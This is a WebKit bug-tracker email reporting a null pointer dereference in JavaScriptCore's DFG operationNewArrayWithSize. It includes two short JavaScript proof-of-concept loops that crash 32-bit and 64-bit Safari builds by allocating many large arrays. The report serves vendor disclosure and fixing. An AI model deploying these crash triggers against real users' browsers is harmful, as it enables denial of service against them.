[Webkit-unassigned] [Bug 179364] New: null pointer dereference in JSC::DFG::operationNewArrayWithSize
bugzilla-daemon at webkit.org
bugzilla-daemon at webkit.org
Mon Nov 6 23:35:06 PST 2017
https://bugs.webkit.org/show_bug.cgi?id=179364
Bug ID: 179364
Summary: null pointer dereference in
JSC::DFG::operationNewArrayWithSize
Product: WebKit
Version: Safari 10
Hardware: PC
OS: macOS 10.12.4
Status: NEW
Severity: Normal
Priority: P2
Component: JavaScriptCore
Assignee: webkit-unassigned at lists.webkit.org
Reporter: zhunkibatu at gmail.com
The following poc can lead to a crash in a 32-bit build of Webkit.
##########################################
var array = new Array(10000);
for (var i = 0; i < 20000; ++i) {
var newArray = new Array(10000);
array[i % array.length] = newArray;
}
##########################################
To trigger a crash in a 64-bit safari, the poc need to change to
##########################################
var array = new Array(100000);
for (var i = 0; i < 200000; ++i) {
var newArray = new Array(100000);
array[i % array.length] = newArray;
}
##########################################
--
You are receiving this mail because:
You are the assignee for the bug.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.webkit.org/pipermail/webkit-unassigned/attachments/20171107/041684ef/attachment.html>
More information about the webkit-unassigned
mailing list